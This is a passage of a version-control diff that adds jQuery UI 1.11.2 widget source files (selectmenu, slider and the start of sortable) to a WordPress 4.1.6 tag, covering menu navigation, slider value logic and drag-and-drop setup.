+	_move: function( direction, event ) {
+		var item, next,
+			filter = ".ui-menu-item";
+
+		if ( this.isOpen ) {
+			item = this.menuItems.eq( this.focusIndex );
+		} else {
+			item = this.menuItems.eq( this.element[ 0 ].selectedIndex );
+			filter += ":not(.ui-state-disabled)";
+		}
+
+		if ( direction === "first" || direction === "last" ) {
+			next = item[ direction === "first" ? "prevAll" : "nextAll" ]( filter ).eq( -1 );
+		} else {
+			next = item[ direction + "All" ]( filter ).eq( 0 );
+		}
+
+		if ( next.length ) {
+			this.menuInstance.focus( event, next );
+		}
+	},
+
+	_getSelectedItem: function() {
+		return this.menuItems.eq( this.element[ 0 ].selectedIndex );
+	},
+
+	_toggle: function( event ) {
+		this[ this.isOpen ? "close" : "open" ]( event );
+	},
+
+	_setSelection: function() {
+		var selection;
+
+		if ( !this.range ) {
+			return;
+		}
+
+		if ( window.getSelection ) {
+			selection = window.getSelection();
+			selection.removeAllRanges();
+			selection.addRange( this.range );
+
+		// support: IE8
+		} else {
+			this.range.select();
+		}
+
+		// support: IE
+		// Setting the text selection kills the button focus in IE, but
+		// restoring the focus doesn't kill the selection.
+		this.button.focus();
+	},
+
+	_documentClick: {
+		mousedown: function( event ) {
+			if ( !this.isOpen ) {
+				return;
+			}
+
+			if ( !$( event.target ).closest( ".ui-selectmenu-menu, #" + this.ids.button ).length ) {
+				this.close( event );
+			}
+		}
+	},
+
+	_buttonEvents: {
+
+		// Prevent text selection from being reset when interacting with the selectmenu (#10144)
+		mousedown: function() {
+			var selection;
+
+			if ( window.getSelection ) {
+				selection = window.getSelection();
+				if ( selection.rangeCount ) {
+					this.range = selection.getRangeAt( 0 );
+				}
+
+			// support: IE8
+			} else {
+				this.range = document.selection.createRange();
+			}
+		},
+
+		click: function( event ) {
+			this._setSelection();
+			this._toggle( event );
+		},
+
+		keydown: function( event ) {
+			var preventDefault = true;
+			switch ( event.keyCode ) {
+				case $.ui.keyCode.TAB:
+				case $.ui.keyCode.ESCAPE:
+					this.close( event );
+					preventDefault = false;
+					break;
+				case $.ui.keyCode.ENTER:
+					if ( this.isOpen ) {
+						this._selectFocusedItem( event );
+					}
+					break;
+				case $.ui.keyCode.UP:
+					if ( event.altKey ) {
+						this._toggle( event );
+					} else {
+						this._move( "prev", event );
+					}
+					break;
+				case $.ui.keyCode.DOWN:
+					if ( event.altKey ) {
+						this._toggle( event );
+					} else {
+						this._move( "next", event );
+					}
+					break;
+				case $.ui.keyCode.SPACE:
+					if ( this.isOpen ) {
+						this._selectFocusedItem( event );
+					} else {
+						this._toggle( event );
+					}
+					break;
+				case $.ui.keyCode.LEFT:
+					this._move( "prev", event );
+					break;
+				case $.ui.keyCode.RIGHT:
+					this._move( "next", event );
+					break;
+				case $.ui.keyCode.HOME:
+				case $.ui.keyCode.PAGE_UP:
+					this._move( "first", event );
+					break;
+				case $.ui.keyCode.END:
+				case $.ui.keyCode.PAGE_DOWN:
+					this._move( "last", event );
+					break;
+				default:
+					this.menu.trigger( event );
+					preventDefault = false;
+			}
+
+			if ( preventDefault ) {
+				event.preventDefault();
+			}
+		}
+	},
+
+	_selectFocusedItem: function( event ) {
+		var item = this.menuItems.eq( this.focusIndex );
+		if ( !item.hasClass( "ui-state-disabled" ) ) {
+			this._select( item.data( "ui-selectmenu-item" ), event );
+		}
+	},
+
+	_select: function( item, event ) {
+		var oldIndex = this.element[ 0 ].selectedIndex;
+
+		// Change native select element
+		this.element[ 0 ].selectedIndex = item.index;
+		this._setText( this.buttonText, item.label );
+		this._setAria( item );
+		this._trigger( "select", event, { item: item } );
+
+		if ( item.index !== oldIndex ) {
+			this._trigger( "change", event, { item: item } );
+		}
+
+		this.close( event );
+	},
+
+	_setAria: function( item ) {
+		var id = this.menuItems.eq( item.index ).attr( "id" );
+
+		this.button.attr({
+			"aria-labelledby": id,
+			"aria-activedescendant": id
+		});
+		this.menu.attr( "aria-activedescendant", id );
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "icons" ) {
+			this.button.find( "span.ui-icon" )
+				.removeClass( this.options.icons.button )
+				.addClass( value.button );
+		}
+
+		this._super( key, value );
+
+		if ( key === "appendTo" ) {
+			this.menuWrap.appendTo( this._appendTo() );
+		}
+
+		if ( key === "disabled" ) {
+			this.menuInstance.option( "disabled", value );
+			this.button
+				.toggleClass( "ui-state-disabled", value )
+				.attr( "aria-disabled", value );
+
+			this.element.prop( "disabled", value );
+			if ( value ) {
+				this.button.attr( "tabindex", -1 );
+				this.close();
+			} else {
+				this.button.attr( "tabindex", 0 );
+			}
+		}
+
+		if ( key === "width" ) {
+			this._resizeButton();
+		}
+	},
+
+	_appendTo: function() {
+		var element = this.options.appendTo;
+
+		if ( element ) {
+			element = element.jquery || element.nodeType ?
+				$( element ) :
+				this.document.find( element ).eq( 0 );
+		}
+
+		if ( !element || !element[ 0 ] ) {
+			element = this.element.closest( ".ui-front" );
+		}
+
+		if ( !element.length ) {
+			element = this.document[ 0 ].body;
+		}
+
+		return element;
+	},
+
+	_toggleAttr: function() {
+		this.button
+			.toggleClass( "ui-corner-top", this.isOpen )
+			.toggleClass( "ui-corner-all", !this.isOpen )
+			.attr( "aria-expanded", this.isOpen );
+		this.menuWrap.toggleClass( "ui-selectmenu-open", this.isOpen );
+		this.menu.attr( "aria-hidden", !this.isOpen );
+	},
+
+	_resizeButton: function() {
+		var width = this.options.width;
+
+		if ( !width ) {
+			width = this.element.show().outerWidth();
+			this.element.hide();
+		}
+
+		this.button.outerWidth( width );
+	},
+
+	_resizeMenu: function() {
+		this.menu.outerWidth( Math.max(
+			this.button.outerWidth(),
+
+			// support: IE10
+			// IE10 wraps long text (possibly a rounding bug)
+			// so we add 1px to avoid the wrapping
+			this.menu.width( "" ).outerWidth() + 1
+		) );
+	},
+
+	_getCreateOptions: function() {
+		return { disabled: this.element.prop( "disabled" ) };
+	},
+
+	_parseOptions: function( options ) {
+		var data = [];
+		options.each(function( index, item ) {
+			var option = $( item ),
+				optgroup = option.parent( "optgroup" );
+			data.push({
+				element: option,
+				index: index,
+				value: option.attr( "value" ),
+				label: option.text(),
+				optgroup: optgroup.attr( "label" ) || "",
+				disabled: optgroup.prop( "disabled" ) || option.prop( "disabled" )
+			});
+		});
+		this.items = data;
+	},
+
+	_destroy: function() {
+		this.menuWrap.remove();
+		this.button.remove();
+		this.element.show();
+		this.element.removeUniqueId();
+		this.label.attr( "for", this.ids.element );
+	}
+});
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/slider.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/slider.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/slider.js	(revision 33402)
@@ -0,0 +1,699 @@
+/*!
+ * jQuery UI Slider 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/slider/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./mouse",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.slider", $.ui.mouse, {
+	version: "1.11.2",
+	widgetEventPrefix: "slide",
+
+	options: {
+		animate: false,
+		distance: 0,
+		max: 100,
+		min: 0,
+		orientation: "horizontal",
+		range: false,
+		step: 1,
+		value: 0,
+		values: null,
+
+		// callbacks
+		change: null,
+		slide: null,
+		start: null,
+		stop: null
+	},
+
+	// number of pages in a slider
+	// (how many times can you page up/down to go through the whole range)
+	numPages: 5,
+
+	_create: function() {
+		this._keySliding = false;
+		this._mouseSliding = false;
+		this._animateOff = true;
+		this._handleIndex = null;
+		this._detectOrientation();
+		this._mouseInit();
+		this._calculateNewMax();
+
+		this.element
+			.addClass( "ui-slider" +
+				" ui-slider-" + this.orientation +
+				" ui-widget" +
+				" ui-widget-content" +
+				" ui-corner-all");
+
+		this._refresh();
+		this._setOption( "disabled", this.options.disabled );
+
+		this._animateOff = false;
+	},
+
+	_refresh: function() {
+		this._createRange();
+		this._createHandles();
+		this._setupEvents();
+		this._refreshValue();
+	},
+
+	_createHandles: function() {
+		var i, handleCount,
+			options = this.options,
+			existingHandles = this.element.find( ".ui-slider-handle" ).addClass( "ui-state-default ui-corner-all" ),
+			handle = "<span class='ui-slider-handle ui-state-default ui-corner-all' tabindex='0'></span>",
+			handles = [];
+
+		handleCount = ( options.values && options.values.length ) || 1;
+
+		if ( existingHandles.length > handleCount ) {
+			existingHandles.slice( handleCount ).remove();
+			existingHandles = existingHandles.slice( 0, handleCount );
+		}
+
+		for ( i = existingHandles.length; i < handleCount; i++ ) {
+			handles.push( handle );
+		}
+
+		this.handles = existingHandles.add( $( handles.join( "" ) ).appendTo( this.element ) );
+
+		this.handle = this.handles.eq( 0 );
+
+		this.handles.each(function( i ) {
+			$( this ).data( "ui-slider-handle-index", i );
+		});
+	},
+
+	_createRange: function() {
+		var options = this.options,
+			classes = "";
+
+		if ( options.range ) {
+			if ( options.range === true ) {
+				if ( !options.values ) {
+					options.values = [ this._valueMin(), this._valueMin() ];
+				} else if ( options.values.length && options.values.length !== 2 ) {
+					options.values = [ options.values[0], options.values[0] ];
+				} else if ( $.isArray( options.values ) ) {
+					options.values = options.values.slice(0);
+				}
+			}
+
+			if ( !this.range || !this.range.length ) {
+				this.range = $( "<div></div>" )
+					.appendTo( this.element );
+
+				classes = "ui-slider-range" +
+				// note: this isn't the most fittingly semantic framework class for this element,
+				// but worked best visually with a variety of themes
+				" ui-widget-header ui-corner-all";
+			} else {
+				this.range.removeClass( "ui-slider-range-min ui-slider-range-max" )
+					// Handle range switching from true to min/max
+					.css({
+						"left": "",
+						"bottom": ""
+					});
+			}
+
+			this.range.addClass( classes +
+				( ( options.range === "min" || options.range === "max" ) ? " ui-slider-range-" + options.range : "" ) );
+		} else {
+			if ( this.range ) {
+				this.range.remove();
+			}
+			this.range = null;
+		}
+	},
+
+	_setupEvents: function() {
+		this._off( this.handles );
+		this._on( this.handles, this._handleEvents );
+		this._hoverable( this.handles );
+		this._focusable( this.handles );
+	},
+
+	_destroy: function() {
+		this.handles.remove();
+		if ( this.range ) {
+			this.range.remove();
+		}
+
+		this.element
+			.removeClass( "ui-slider" +
+				" ui-slider-horizontal" +
+				" ui-slider-vertical" +
+				" ui-widget" +
+				" ui-widget-content" +
+				" ui-corner-all" );
+
+		this._mouseDestroy();
+	},
+
+	_mouseCapture: function( event ) {
+		var position, normValue, distance, closestHandle, index, allowed, offset, mouseOverHandle,
+			that = this,
+			o = this.options;
+
+		if ( o.disabled ) {
+			return false;
+		}
+
+		this.elementSize = {
+			width: this.element.outerWidth(),
+			height: this.element.outerHeight()
+		};
+		this.elementOffset = this.element.offset();
+
+		position = { x: event.pageX, y: event.pageY };
+		normValue = this._normValueFromMouse( position );
+		distance = this._valueMax() - this._valueMin() + 1;
+		this.handles.each(function( i ) {
+			var thisDistance = Math.abs( normValue - that.values(i) );
+			if (( distance > thisDistance ) ||
+				( distance === thisDistance &&
+					(i === that._lastChangedValue || that.values(i) === o.min ))) {
+				distance = thisDistance;
+				closestHandle = $( this );
+				index = i;
+			}
+		});
+
+		allowed = this._start( event, index );
+		if ( allowed === false ) {
+			return false;
+		}
+		this._mouseSliding = true;
+
+		this._handleIndex = index;
+
+		closestHandle
+			.addClass( "ui-state-active" )
+			.focus();
+
+		offset = closestHandle.offset();
+		mouseOverHandle = !$( event.target ).parents().addBack().is( ".ui-slider-handle" );
+		this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : {
+			left: event.pageX - offset.left - ( closestHandle.width() / 2 ),
+			top: event.pageY - offset.top -
+				( closestHandle.height() / 2 ) -
+				( parseInt( closestHandle.css("borderTopWidth"), 10 ) || 0 ) -
+				( parseInt( closestHandle.css("borderBottomWidth"), 10 ) || 0) +
+				( parseInt( closestHandle.css("marginTop"), 10 ) || 0)
+		};
+
+		if ( !this.handles.hasClass( "ui-state-hover" ) ) {
+			this._slide( event, index, normValue );
+		}
+		this._animateOff = true;
+		return true;
+	},
+
+	_mouseStart: function() {
+		return true;
+	},
+
+	_mouseDrag: function( event ) {
+		var position = { x: event.pageX, y: event.pageY },
+			normValue = this._normValueFromMouse( position );
+
+		this._slide( event, this._handleIndex, normValue );
+
+		return false;
+	},
+
+	_mouseStop: function( event ) {
+		this.handles.removeClass( "ui-state-active" );
+		this._mouseSliding = false;
+
+		this._stop( event, this._handleIndex );
+		this._change( event, this._handleIndex );
+
+		this._handleIndex = null;
+		this._clickOffset = null;
+		this._animateOff = false;
+
+		return false;
+	},
+
+	_detectOrientation: function() {
+		this.orientation = ( this.options.orientation === "vertical" ) ? "vertical" : "horizontal";
+	},
+
+	_normValueFromMouse: function( position ) {
+		var pixelTotal,
+			pixelMouse,
+			percentMouse,
+			valueTotal,
+			valueMouse;
+
+		if ( this.orientation === "horizontal" ) {
+			pixelTotal = this.elementSize.width;
+			pixelMouse = position.x - this.elementOffset.left - ( this._clickOffset ? this._clickOffset.left : 0 );
+		} else {
+			pixelTotal = this.elementSize.height;
+			pixelMouse = position.y - this.elementOffset.top - ( this._clickOffset ? this._clickOffset.top : 0 );
+		}
+
+		percentMouse = ( pixelMouse / pixelTotal );
+		if ( percentMouse > 1 ) {
+			percentMouse = 1;
+		}
+		if ( percentMouse < 0 ) {
+			percentMouse = 0;
+		}
+		if ( this.orientation === "vertical" ) {
+			percentMouse = 1 - percentMouse;
+		}
+
+		valueTotal = this._valueMax() - this._valueMin();
+		valueMouse = this._valueMin() + percentMouse * valueTotal;
+
+		return this._trimAlignValue( valueMouse );
+	},
+
+	_start: function( event, index ) {
+		var uiHash = {
+			handle: this.handles[ index ],
+			value: this.value()
+		};
+		if ( this.options.values && this.options.values.length ) {
+			uiHash.value = this.values( index );
+			uiHash.values = this.values();
+		}
+		return this._trigger( "start", event, uiHash );
+	},
+
+	_slide: function( event, index, newVal ) {
+		var otherVal,
+			newValues,
+			allowed;
+
+		if ( this.options.values && this.options.values.length ) {
+			otherVal = this.values( index ? 0 : 1 );
+
+			if ( ( this.options.values.length === 2 && this.options.range === true ) &&
+					( ( index === 0 && newVal > otherVal) || ( index === 1 && newVal < otherVal ) )
+				) {
+				newVal = otherVal;
+			}
+
+			if ( newVal !== this.values( index ) ) {
+				newValues = this.values();
+				newValues[ index ] = newVal;
+				// A slide can be canceled by returning false from the slide callback
+				allowed = this._trigger( "slide", event, {
+					handle: this.handles[ index ],
+					value: newVal,
+					values: newValues
+				} );
+				otherVal = this.values( index ? 0 : 1 );
+				if ( allowed !== false ) {
+					this.values( index, newVal );
+				}
+			}
+		} else {
+			if ( newVal !== this.value() ) {
+				// A slide can be canceled by returning false from the slide callback
+				allowed = this._trigger( "slide", event, {
+					handle: this.handles[ index ],
+					value: newVal
+				} );
+				if ( allowed !== false ) {
+					this.value( newVal );
+				}
+			}
+		}
+	},
+
+	_stop: function( event, index ) {
+		var uiHash = {
+			handle: this.handles[ index ],
+			value: this.value()
+		};
+		if ( this.options.values && this.options.values.length ) {
+			uiHash.value = this.values( index );
+			uiHash.values = this.values();
+		}
+
+		this._trigger( "stop", event, uiHash );
+	},
+
+	_change: function( event, index ) {
+		if ( !this._keySliding && !this._mouseSliding ) {
+			var uiHash = {
+				handle: this.handles[ index ],
+				value: this.value()
+			};
+			if ( this.options.values && this.options.values.length ) {
+				uiHash.value = this.values( index );
+				uiHash.values = this.values();
+			}
+
+			//store the last changed value index for reference when handles overlap
+			this._lastChangedValue = index;
+
+			this._trigger( "change", event, uiHash );
+		}
+	},
+
+	value: function( newValue ) {
+		if ( arguments.length ) {
+			this.options.value = this._trimAlignValue( newValue );
+			this._refreshValue();
+			this._change( null, 0 );
+			return;
+		}
+
+		return this._value();
+	},
+
+	values: function( index, newValue ) {
+		var vals,
+			newValues,
+			i;
+
+		if ( arguments.length > 1 ) {
+			this.options.values[ index ] = this._trimAlignValue( newValue );
+			this._refreshValue();
+			this._change( null, index );
+			return;
+		}
+
+		if ( arguments.length ) {
+			if ( $.isArray( arguments[ 0 ] ) ) {
+				vals = this.options.values;
+				newValues = arguments[ 0 ];
+				for ( i = 0; i < vals.length; i += 1 ) {
+					vals[ i ] = this._trimAlignValue( newValues[ i ] );
+					this._change( null, i );
+				}
+				this._refreshValue();
+			} else {
+				if ( this.options.values && this.options.values.length ) {
+					return this._values( index );
+				} else {
+					return this.value();
+				}
+			}
+		} else {
+			return this._values();
+		}
+	},
+
+	_setOption: function( key, value ) {
+		var i,
+			valsLength = 0;
+
+		if ( key === "range" && this.options.range === true ) {
+			if ( value === "min" ) {
+				this.options.value = this._values( 0 );
+				this.options.values = null;
+			} else if ( value === "max" ) {
+				this.options.value = this._values( this.options.values.length - 1 );
+				this.options.values = null;
+			}
+		}
+
+		if ( $.isArray( this.options.values ) ) {
+			valsLength = this.options.values.length;
+		}
+
+		if ( key === "disabled" ) {
+			this.element.toggleClass( "ui-state-disabled", !!value );
+		}
+
+		this._super( key, value );
+
+		switch ( key ) {
+			case "orientation":
+				this._detectOrientation();
+				this.element
+					.removeClass( "ui-slider-horizontal ui-slider-vertical" )
+					.addClass( "ui-slider-" + this.orientation );
+				this._refreshValue();
+
+				// Reset positioning from previous orientation
+				this.handles.css( value === "horizontal" ? "bottom" : "left", "" );
+				break;
+			case "value":
+				this._animateOff = true;
+				this._refreshValue();
+				this._change( null, 0 );
+				this._animateOff = false;
+				break;
+			case "values":
+				this._animateOff = true;
+				this._refreshValue();
+				for ( i = 0; i < valsLength; i += 1 ) {
+					this._change( null, i );
+				}
+				this._animateOff = false;
+				break;
+			case "step":
+			case "min":
+			case "max":
+				this._animateOff = true;
+				this._calculateNewMax();
+				this._refreshValue();
+				this._animateOff = false;
+				break;
+			case "range":
+				this._animateOff = true;
+				this._refresh();
+				this._animateOff = false;
+				break;
+		}
+	},
+
+	//internal value getter
+	// _value() returns value trimmed by min and max, aligned by step
+	_value: function() {
+		var val = this.options.value;
+		val = this._trimAlignValue( val );
+
+		return val;
+	},
+
+	//internal values getter
+	// _values() returns array of values trimmed by min and max, aligned by step
+	// _values( index ) returns single value trimmed by min and max, aligned by step
+	_values: function( index ) {
+		var val,
+			vals,
+			i;
+
+		if ( arguments.length ) {
+			val = this.options.values[ index ];
+			val = this._trimAlignValue( val );
+
+			return val;
+		} else if ( this.options.values && this.options.values.length ) {
+			// .slice() creates a copy of the array
+			// this copy gets trimmed by min and max and then returned
+			vals = this.options.values.slice();
+			for ( i = 0; i < vals.length; i += 1) {
+				vals[ i ] = this._trimAlignValue( vals[ i ] );
+			}
+
+			return vals;
+		} else {
+			return [];
+		}
+	},
+
+	// returns the step-aligned value that val is closest to, between (inclusive) min and max
+	_trimAlignValue: function( val ) {
+		if ( val <= this._valueMin() ) {
+			return this._valueMin();
+		}
+		if ( val >= this._valueMax() ) {
+			return this._valueMax();
+		}
+		var step = ( this.options.step > 0 ) ? this.options.step : 1,
+			valModStep = (val - this._valueMin()) % step,
+			alignValue = val - valModStep;
+
+		if ( Math.abs(valModStep) * 2 >= step ) {
+			alignValue += ( valModStep > 0 ) ? step : ( -step );
+		}
+
+		// Since JavaScript has problems with large floats, round
+		// the final value to 5 digits after the decimal point (see #4124)
+		return parseFloat( alignValue.toFixed(5) );
+	},
+
+	_calculateNewMax: function() {
+		var remainder = ( this.options.max - this._valueMin() ) % this.options.step;
+		this.max = this.options.max - remainder;
+	},
+
+	_valueMin: function() {
+		return this.options.min;
+	},
+
+	_valueMax: function() {
+		return this.max;
+	},
+
+	_refreshValue: function() {
+		var lastValPercent, valPercent, value, valueMin, valueMax,
+			oRange = this.options.range,
+			o = this.options,
+			that = this,
+			animate = ( !this._animateOff ) ? o.animate : false,
+			_set = {};
+
+		if ( this.options.values && this.options.values.length ) {
+			this.handles.each(function( i ) {
+				valPercent = ( that.values(i) - that._valueMin() ) / ( that._valueMax() - that._valueMin() ) * 100;
+				_set[ that.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%";
+				$( this ).stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate );
+				if ( that.options.range === true ) {
+					if ( that.orientation === "horizontal" ) {
+						if ( i === 0 ) {
+							that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { left: valPercent + "%" }, o.animate );
+						}
+						if ( i === 1 ) {
+							that.range[ animate ? "animate" : "css" ]( { width: ( valPercent - lastValPercent ) + "%" }, { queue: false, duration: o.animate } );
+						}
+					} else {
+						if ( i === 0 ) {
+							that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { bottom: ( valPercent ) + "%" }, o.animate );
+						}
+						if ( i === 1 ) {
+							that.range[ animate ? "animate" : "css" ]( { height: ( valPercent - lastValPercent ) + "%" }, { queue: false, duration: o.animate } );
+						}
+					}
+				}
+				lastValPercent = valPercent;
+			});
+		} else {
+			value = this.value();
+			valueMin = this._valueMin();
+			valueMax = this._valueMax();
+			valPercent = ( valueMax !== valueMin ) ?
+					( value - valueMin ) / ( valueMax - valueMin ) * 100 :
+					0;
+			_set[ this.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%";
+			this.handle.stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate );
+
+			if ( oRange === "min" && this.orientation === "horizontal" ) {
+				this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { width: valPercent + "%" }, o.animate );
+			}
+			if ( oRange === "max" && this.orientation === "horizontal" ) {
+				this.range[ animate ? "animate" : "css" ]( { width: ( 100 - valPercent ) + "%" }, { queue: false, duration: o.animate } );
+			}
+			if ( oRange === "min" && this.orientation === "vertical" ) {
+				this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { height: valPercent + "%" }, o.animate );
+			}
+			if ( oRange === "max" && this.orientation === "vertical" ) {
+				this.range[ animate ? "animate" : "css" ]( { height: ( 100 - valPercent ) + "%" }, { queue: false, duration: o.animate } );
+			}
+		}
+	},
+
+	_handleEvents: {
+		keydown: function( event ) {
+			var allowed, curVal, newVal, step,
+				index = $( event.target ).data( "ui-slider-handle-index" );
+
+			switch ( event.keyCode ) {
+				case $.ui.keyCode.HOME:
+				case $.ui.keyCode.END:
+				case $.ui.keyCode.PAGE_UP:
+				case $.ui.keyCode.PAGE_DOWN:
+				case $.ui.keyCode.UP:
+				case $.ui.keyCode.RIGHT:
+				case $.ui.keyCode.DOWN:
+				case $.ui.keyCode.LEFT:
+					event.preventDefault();
+					if ( !this._keySliding ) {
+						this._keySliding = true;
+						$( event.target ).addClass( "ui-state-active" );
+						allowed = this._start( event, index );
+						if ( allowed === false ) {
+							return;
+						}
+					}
+					break;
+			}
+
+			step = this.options.step;
+			if ( this.options.values && this.options.values.length ) {
+				curVal = newVal = this.values( index );
+			} else {
+				curVal = newVal = this.value();
+			}
+
+			switch ( event.keyCode ) {
+				case $.ui.keyCode.HOME:
+					newVal = this._valueMin();
+					break;
+				case $.ui.keyCode.END:
+					newVal = this._valueMax();
+					break;
+				case $.ui.keyCode.PAGE_UP:
+					newVal = this._trimAlignValue(
+						curVal + ( ( this._valueMax() - this._valueMin() ) / this.numPages )
+					);
+					break;
+				case $.ui.keyCode.PAGE_DOWN:
+					newVal = this._trimAlignValue(
+						curVal - ( (this._valueMax() - this._valueMin()) / this.numPages ) );
+					break;
+				case $.ui.keyCode.UP:
+				case $.ui.keyCode.RIGHT:
+					if ( curVal === this._valueMax() ) {
+						return;
+					}
+					newVal = this._trimAlignValue( curVal + step );
+					break;
+				case $.ui.keyCode.DOWN:
+				case $.ui.keyCode.LEFT:
+					if ( curVal === this._valueMin() ) {
+						return;
+					}
+					newVal = this._trimAlignValue( curVal - step );
+					break;
+			}
+
+			this._slide( event, index, newVal );
+		},
+		keyup: function( event ) {
+			var index = $( event.target ).data( "ui-slider-handle-index" );
+
+			if ( this._keySliding ) {
+				this._keySliding = false;
+				this._stop( event, index );
+				this._change( event, index );
+				$( event.target ).removeClass( "ui-state-active" );
+			}
+		}
+	}
+});
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/sortable.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/sortable.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/sortable.js	(revision 33402)
@@ -0,0 +1,1304 @@
+/*!
+ * jQuery UI Sortable 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/sortable/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./mouse",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget("ui.sortable", $.ui.mouse, {
+	version: "1.11.2",
+	widgetEventPrefix: "sort",
+	ready: false,
+	options: {
+		appendTo: "parent",
+		axis: false,
+		connectWith: false,
+		containment: false,
+		cursor: "auto",
+		cursorAt: false,
+		dropOnEmpty: true,
+		forcePlaceholderSize: false,
+		forceHelperSize: false,
+		grid: false,
+		handle: false,
+		helper: "original",
+		items: "> *",
+		opacity: false,
+		placeholder: false,
+		revert: false,
+		scroll: true,
+		scrollSensitivity: 20,
+		scrollSpeed: 20,
+		scope: "default",
+		tolerance: "intersect",
+		zIndex: 1000,
+
+		// callbacks
+		activate: null,
+		beforeStop: null,
+		change: null,
+		deactivate: null,
+		out: null,
+		over: null,
+		receive: null,
+		remove: null,
+		sort: null,
+		start: null,
+		stop: null,
+		update: null
+	},
+
+	_isOverAxis: function( x, reference, size ) {
+		return ( x >= reference ) && ( x < ( reference + size ) );
+	},
+
+	_isFloating: function( item ) {
+		return (/left|right/).test(item.css("float")) || (/inline|table-cell/).test(item.css("display"));
+	},
+
+	_create: function() {
+
+		var o = this.options;
+		this.containerCache = {};
+		this.element.addClass("ui-sortable");
+
+		//Get the items
+		this.refresh();
+
+		//Let's determine if the items are being displayed horizontally
+		this.floating = this.items.length ? o.axis === "x" || this._isFloating(this.items[0].item) : false;
+
+		//Let's determine the parent's offset
+		this.offset = this.element.offset();
+
+		//Initialize mouse events for interaction
+		this._mouseInit();
+
+		this._setHandleClassName();
+
+		//We're ready to go
+		this.ready = true;
+
+	},
+
+	_setOption: function( key, value ) {
+		this._super( key, value );
+
+		if ( key === "handle" ) {
+			this._setHandleClassName();
+		}
+	},
+
+	_setHandleClassName: function() {
+		this.element.find( ".ui-sortable-handle" ).removeClass( "ui-sortable-handle" );
+		$.each( this.items, function() {
+			( this.instance.options.handle ?
+				this.item.find( this.instance.options.handle ) : this.item )
+				.addClass( "ui-sortable-handle" );
+		});
+	},
+
+	_destroy: function() {
+		this.element
+			.removeClass( "ui-sortable ui-sortable-disabled" )
+			.find( ".ui-sortable-handle" )
+				.removeClass( "ui-sortable-handle" );
+		this._mouseDestroy();
+
+		for ( var i = this.items.length - 1; i >= 0; i-- ) {
+			this.items[i].item.removeData(this.widgetName + "-item");
+		}
+
+		return this;
+	},
+
+	_mouseCapture: function(event, overrideHandle) {
+		var currentItem = null,
+			validHandle = false,
+			that = this;
+
+		if (this.reverting) {
+			return false;
+		}
+
+		if(this.options.disabled || this.options.type === "static") {
+			return false;
+		}
+
+		//We have to refresh the items data once first
+		this._refreshItems(event);
+
+		//Find out if the clicked node (or one of its parents) is a actual item in this.items
+		$(event.target).parents().each(function() {
+			if($.data(this, that.widgetName + "-item") === that) {
+				currentItem = $(this);
+				return false;
+			}
+		});
+		if($.data(event.target, that.widgetName + "-item") === that) {
+			currentItem = $(event.target);
+		}
+
+		if(!currentItem) {
+			return false;
+		}
+		if(this.options.handle && !overrideHandle) {
+			$(this.options.handle, currentItem).find("*").addBack().each(function() {
+				if(this === event.target) {
+					validHandle = true;
+				}
+			});
+			if(!validHandle) {
+				return false;
+			}
+		}
+
+		this.currentItem = currentItem;
+		this._removeCurrentsFromItems();
+		return true;
+
+	},
+
+	_mouseStart: function(event, overrideHandle, noActivation) {
+
+		var i, body,
+			o = this.options;
+
+		this.currentContainer = this;
+
+		//We only need to call refreshPositions, because the refreshItems call has been moved to mouseCapture
+		this.refreshPositions();
+
+		//Create and append the visible helper
+		this.helper = this._createHelper(event);
+
+		//Cache the helper size
+		this._cacheHelperProportions();
+
+		/*
+		 * - Position generation -
+		 * This block generates everything position related - it's the core of draggables.
+		 */
+
+		//Cache the margins of the original element
+		this._cacheMargins();
+
+		//Get the next scrolling parent
+		this.scrollParent = this.helper.scrollParent();
+
+		//The element's absolute position on the page minus margins
+		this.offset = this.currentItem.offset();
+		this.offset = {
+			top: this.offset.top - this.margins.top,
+			left: this.offset.left - this.margins.left
+		};
+
+		$.extend(this.offset, {
+			click: { //Where the click happened, relative to the element
+				left: event.pageX - this.offset.left,
+				top: event.pageY - this.offset.top
+			},
+			parent: this._getParentOffset(),
+			relative: this._getRelativeOffset() //This is a relative to absolute position minus the actual position calculation - only used for relative positioned helper
+		});
+
+		// Only after we got the offset, we can change the helper's position to absolute
+		// TODO: Still need to figure out a way to make relative sorting possible
+		this.helper.css("position", "absolute");
+		this.cssPosition = this.helper.css("position");
+
+		//Generate the original position
+		this.originalPosition = this._generatePosition(event);
+		this.originalPageX = event.pageX;
+		this.originalPageY = event.pageY;
+
+		//Adjust the mouse offset relative to the helper if "cursorAt" is supplied
+		(o.cursorAt && this._adjustOffsetFromHelper(o.cursorAt));
+
+		//Cache the former DOM position
+		this.domPosition = { prev: this.currentItem.prev()[0], parent: this.currentItem.parent()[0] };
+
